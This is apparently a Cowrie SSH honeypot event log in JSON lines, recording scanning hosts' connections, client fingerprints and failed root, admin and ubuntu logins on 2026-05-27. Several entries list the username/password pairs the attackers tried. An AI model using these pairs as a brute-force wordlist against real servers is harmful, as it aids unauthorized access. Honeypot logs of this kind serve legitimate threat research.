{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:c0:b1:e4:1c:f5:49:e5:81:41:58:67:a9:d3:01:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaPpL39U9oVcYxXyT8coqRXfsHlswh3i+YZe+1nu6HWBOhLoUl1GsapIsyGXwy1yzDdFYFnimprJHKJNe9nbMt29wxh7OM3mjzFOxOvZ9ppnfBtYit7eltRk7UgcuBuLZb0YdW7vVPXCmFN+3ltmgtohnTobckUQIO5uoBskWpfw2kFEwXCaFzap/cPIjrKDJWm9ER7I5sm4JF1ZqpSFkgSz1/XowGWZBqL0N5y9dtLgZnbyftErXFod0CxjGU7MhyNX+g5MFp9liL1SBmBtHFUFhIFtwTk/cPrBO2ZrJLbtQrDS6WwS0vJfT7W1URATpf4kjsfriKLeGjPIMek2uP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:47.013890Z","src_ip":"62.210.36.194","session":"d204a3d10a99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:02:f0:27:7d:58:3a:d6:91:d9:5a:37:3b:73:26:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnX34d43DoZsCc6NsSjuFOjcJgKsCOGkFk8bqbc5Jj6nm/Wfj+MBHafqme5aGEMJYACAHiPgQuQEcoZ/0OooKquVNsZNLr6IISTcrQa9rrxZ4OoMbQQlk4PcZj97uGtONl+s4SrzCaLVUllTf9OsczL8ibi7VvJneWnrmmCAkV2Lni2AH65Iq9K+XTnsI58rrq+6sJLSyAmE23OfrAVH41Y5VeMpTjqTUIke5XNCrhAccnCrdPJ5B4blxpcKXZstJRZh53zzzvbcgRf8XniMAptUknALTZwWP4qzuHYG20qiDx0GCb8Ys1pq5rhFWtF+eub+DvIthJJgmYc7e9rEGv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:02:f0:27:7d:58:3a:d6:91:d9:5a:37:3b:73:26:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:47.098044Z","src_ip":"62.210.36.194","session":"d204a3d10a99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:02:f0:27:7d:58:3a:d6:91:d9:5a:37:3b:73:26:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnX34d43DoZsCc6NsSjuFOjcJgKsCOGkFk8bqbc5Jj6nm/Wfj+MBHafqme5aGEMJYACAHiPgQuQEcoZ/0OooKquVNsZNLr6IISTcrQa9rrxZ4OoMbQQlk4PcZj97uGtONl+s4SrzCaLVUllTf9OsczL8ibi7VvJneWnrmmCAkV2Lni2AH65Iq9K+XTnsI58rrq+6sJLSyAmE23OfrAVH41Y5VeMpTjqTUIke5XNCrhAccnCrdPJ5B4blxpcKXZstJRZh53zzzvbcgRf8XniMAptUknALTZwWP4qzuHYG20qiDx0GCb8Ys1pq5rhFWtF+eub+DvIthJJgmYc7e9rEGv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:47.101590Z","src_ip":"62.210.36.194","session":"d204a3d10a99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:47.185529Z","src_ip":"62.210.36.194","session":"d204a3d10a99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":36298,"dst_ip":"159.203.135.109","dst_port":22,"session":"3970c3775a85","protocol":"ssh","message":"New connection: 36.91.81.195:36298 (159.203.135.109:22) [session: 3970c3775a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:48.508676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:48.513026Z","src_ip":"36.91.81.195","session":"3970c3775a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:48.793323Z","src_ip":"36.91.81.195","session":"3970c3775a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@qwe","message":"login attempt [root/1234@qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:49.948947Z","src_ip":"36.91.81.195","session":"3970c3775a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:51.237190Z","src_ip":"36.91.81.195","session":"3970c3775a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":58918,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5565a7c0a33","protocol":"ssh","message":"New connection: 4.227.177.11:58918 (10.17.0.5:22) [session: b5565a7c0a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:13.943185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:13.947529Z","src_ip":"4.227.177.11","session":"b5565a7c0a33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:13.958136Z","src_ip":"4.227.177.11","session":"b5565a7c0a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"oracle","message":"login attempt [admin/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:14.034478Z","src_ip":"4.227.177.11","session":"b5565a7c0a33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:15.048318Z","src_ip":"4.227.177.11","session":"b5565a7c0a33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":33840,"dst_ip":"159.203.135.109","dst_port":22,"session":"68ddb3160f56","protocol":"ssh","message":"New connection: 137.184.228.138:33840 (159.203.135.109:22) [session: 68ddb3160f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:19.117097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:19.121480Z","src_ip":"137.184.228.138","session":"68ddb3160f56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:19.189770Z","src_ip":"137.184.228.138","session":"68ddb3160f56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:19.499286Z","src_ip":"137.184.228.138","session":"68ddb3160f56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:20.575812Z","src_ip":"137.184.228.138","session":"68ddb3160f56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":48774,"dst_ip":"159.203.135.109","dst_port":22,"session":"343e7df8ecc0","protocol":"ssh","message":"New connection: 193.228.128.84:48774 (159.203.135.109:22) [session: 343e7df8ecc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:51.683913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:51.688051Z","src_ip":"193.228.128.84","session":"343e7df8ecc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:51.799058Z","src_ip":"193.228.128.84","session":"343e7df8ecc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mazda323","message":"login attempt [root/mazda323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:52.111035Z","src_ip":"193.228.128.84","session":"343e7df8ecc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:53.217393Z","src_ip":"193.228.128.84","session":"343e7df8ecc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":33966,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b790fb8fced","protocol":"ssh","message":"New connection: 176.147.144.172:33966 (159.203.135.109:22) [session: 4b790fb8fced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:58.007589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:58.012832Z","src_ip":"176.147.144.172","session":"4b790fb8fced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:58.109674Z","src_ip":"176.147.144.172","session":"4b790fb8fced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Itsemoemo2025@Washere2025","message":"login attempt [admin/Itsemoemo2025@Washere2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:58.523464Z","src_ip":"176.147.144.172","session":"4b790fb8fced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:58.910209Z","src_ip":"14.103.45.20","session":"4d43ecd2b3c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":47808,"dst_ip":"10.17.0.5","dst_port":22,"session":"f74f261648b0","protocol":"ssh","message":"New connection: 94.159.98.239:47808 (10.17.0.5:22) [session: f74f261648b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:59.306248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:59.328180Z","src_ip":"94.159.98.239","session":"f74f261648b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:59.415270Z","src_ip":"94.159.98.239","session":"f74f261648b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:59.623181Z","src_ip":"176.147.144.172","session":"4b790fb8fced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fantik","message":"login attempt [root/fantik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:52:59.814291Z","src_ip":"94.159.98.239","session":"f74f261648b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":47362,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d22e4ad3bea","protocol":"ssh","message":"New connection: 103.27.238.114:47362 (159.203.135.109:22) [session: 4d22e4ad3bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:00.882504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:00.886619Z","src_ip":"103.27.238.114","session":"4d22e4ad3bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:00.958843Z","src_ip":"94.159.98.239","session":"f74f261648b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:01.157489Z","src_ip":"103.27.238.114","session":"4d22e4ad3bea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lilian","message":"login attempt [root/lilian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:01.973652Z","src_ip":"103.27.238.114","session":"4d22e4ad3bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:03.259018Z","src_ip":"103.27.238.114","session":"4d22e4ad3bea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":43256,"dst_ip":"10.17.0.5","dst_port":22,"session":"3eb598a77c38","protocol":"ssh","message":"New connection: 87.226.190.225:43256 (10.17.0.5:22) [session: 3eb598a77c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:12.272108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:12.277544Z","src_ip":"87.226.190.225","session":"3eb598a77c38","protocol":"ssh"}
